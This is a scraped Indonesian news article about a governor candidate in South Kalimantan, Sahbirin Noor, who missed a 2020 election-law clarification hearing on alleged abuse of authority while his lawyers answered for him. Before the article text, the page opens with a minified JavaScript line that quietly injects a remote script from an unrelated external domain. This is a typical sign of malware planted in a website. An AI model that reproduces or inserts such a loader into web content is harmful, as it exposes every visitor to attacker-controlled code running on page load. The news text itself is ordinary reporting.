(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Calon Gubernur (Cagub) Kalimantan Selatan H Sahbirin Noor (Paman Birin) tidak muncul di sekretariat Sentra Gakkumdu (Penegakan Hukum Terpadu) sekaligus kantor Bawaslu Kalsel di jalan RE Martadinata, Banjarmasin, Minggu (1/11/2020) siang, terkait pemanggilan klarifikasi dugaan pelanggaran penyalahgunaan wewenang.
Hanya tim kuasa hukum Cagub Kalsel Paman Birin yang menyampaikan keterangan dan dokumen klarifikasi atas permintaan Sentra Gakkumdu, menyangkut laporan dugaan pelanggaran Pasal 71 ayat (3) UU Pilkada.
Menyusul pelaporan tim hukum Denny Indrayana ke Sentra Gakkumdu terkait dugaan keterlibatan Gubernur menggunakan kewenangan, program, dan kegiatan yang menguntungkan atau merugikan salah satu pasangan calon di Pilkada Kalsel 2020.
Sebelumnya pada Sabtu (31/10/2020) undangan klarifikasi terhadap pelapor (Jurkani) sudah dilakukan dan yang bersangkutan hadir sekitar pukul 10.00 Wita di Bawaslu Kalsel.
Tim kuasa hukum Paman Birin diawaki Dr Saifudin SH MHum dan Dr Masdari Tasmin SH MH bersama tim kuasa hukum lainnya menyerahkan dokumen klarifikasi kepada Sentra Gakkumdu Bawaslu Kalsel soal laporan dugaan pelanggaran.
Saifudin, pengacara berkepala plontos ini menyampaikan, tim kuasa hukum Paman Birin selaku juru bicara menyampaikan ketidak hadiran Paman Birin hari ini di Sentra Gakkumdu Bawaslu Kalsel karena sedang melaksanakan kampanye.
Soal klarifikasi tersebut, Saifudin mengungkapkan, kata “Bergerak’ dalam salah satu program Pemerintah Provinsi Kalsel dipermasalahkan dan ditengarai memuat unsur politik oleh pihak Denny Indrayana-Difriadi.
Dijelaskannya anggapan pemakaian kata “Bergerak” dalam berbagai kegiatan Pemprov Kalimantan Selatan itu memanfaatkan jabatan atau kewenangan beliau itu (H Sahbirin Noor) untuk kepentingan yang merugikan orang lain.
Memang kata “Bergerak” sendiri kental dengan Paman Birin sapaan akrab calon gubernur petahana. Dikatakan Saifudin, hal itu hanya untuk memotivasi masyarakat.
Meski sudah mendapatkan keterangan dan klarifikasi dari tim kuasa hukum Paman Birin, Koordinator Divisi Penindakan Pelanggaran Bawaslu Kalsel Azhar Ridhanie menyatakan, pihaknya belum dapat menyimpulkan bagaimana tindaklanjut atas klarifikasi dugaan penyalahgunaan wewenang yang dilayangkan pelapor atas nama Jurkani dari tim pemenangan H2D (Haji Denny Difri) kepada Sentra Gakkumdu.
Selanjutnya Sentra Gakkumdu yang didalamnya terdapat unsur Bawaslu, Kepolisian dan Kejaksaan ini, kata Aldo –akrab disapa-, perlu melakukan rapat untuk mengambil kesimpulan dari keterangan-keterangan dari sejumah saksi yang sudah dimintai klarifikasi sebelumnya.(kanalkalimantan.com/putra)
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.